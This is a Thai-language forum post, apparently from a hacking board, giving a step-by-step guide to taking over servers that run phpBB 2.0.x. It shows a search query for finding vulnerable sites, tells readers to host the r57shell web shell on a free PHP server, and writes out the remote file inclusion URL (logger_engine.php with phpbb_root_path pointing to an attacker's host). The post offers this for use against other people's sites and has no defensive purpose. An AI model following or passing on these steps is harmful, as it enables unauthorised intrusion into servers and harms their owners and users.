ที่ไหนมี OpenSource ที่นั่นมักมี Hacker :)
phpBB เป็นอีกตัวที่มีปัญหามากๆ รูรั่วเยอะมากๆ Bug อัพเดทออกมาหลาย Version ที่ผมเอามาบอกวันนี้เป็นแค่ 1 วิธีเพื่อให้ได้มาซึ่งเซิร์ฟเวอร์
[hide=5]มีขึ้นตอนง่ายดังนี้ครับ
1. เข้าไป google.com แล้วพิมพ์ดังนี้เพื่อหาเว็บเป้าหมาย "intitle:powered by phpBB 2.0.21"
เมื่อเปิดเว็บเข้าไปแล้วจะเจอข้อความดังนี้ครับ
Powered by phpBB 2.0.21 © 2001 - 2006 phpBB Group ( ถ้าขึ้นประมาณนี้ OK ครับ )
ปล. เปง Version 2.0.x ก็ได้นะครับ คือกัน
2. เข้าเว็บ google.com อีกครั้งเพื่อหาเครื่องมือมาใช้งานครับ ให้หาคำว่า "r57shell.txt" ครับ เจอแล้วให้ Copy ทั้งหมดแล้ว Save As.. ออกมาเป็นไฟล์ r57shell.php (เปลี่ยนนามสกุลธรรมดานี่เอง)
3. อัพโหลดไฟล์ r57shell.php ขึ้นไปยัง Server ของเรา อาจจะเป็น Free Hosting ที่ไหนก้ได้นะครับ ที่สำคัญขอให้รัน PHP ไฟล์ได้เป็นพอ
4. ให้เรียกเว็บที่ใช้ phpBB ที่เราหาไว้ตอนแรกมา แล้วใส่คำสั่งดังนี้
http://www.phpBB_Website.com/phpBB/include...ls/r57shell.php
ให้ต่อท้าย /path phpBB/ เป้าหมายของเราดังนี้คับ /includes/logger_engine.php?phpbb_root_path=http://www.hackerdomain.com/tools/r57shell.php
หมายเหตุ http://www.hackerdomain.com/tools/ ผมยกตัวอย่างขึ้นมานะครับ ตรงนี้จะเปลี่ยนไปตามเซิร์ฟเวอร์ที่คุณอัพโหลดไฟล์ขึ้นไปนะ
หวังว่าคงเป็นประโยชน์กับเพื่อนๆ บ้างนะครับ ส่วนวิธีใช้นั้น คงต้องรบกวนเพื่อนๆ ไปลุยต่อกันนะครับ เล่นไม่ยากครับ [/hide]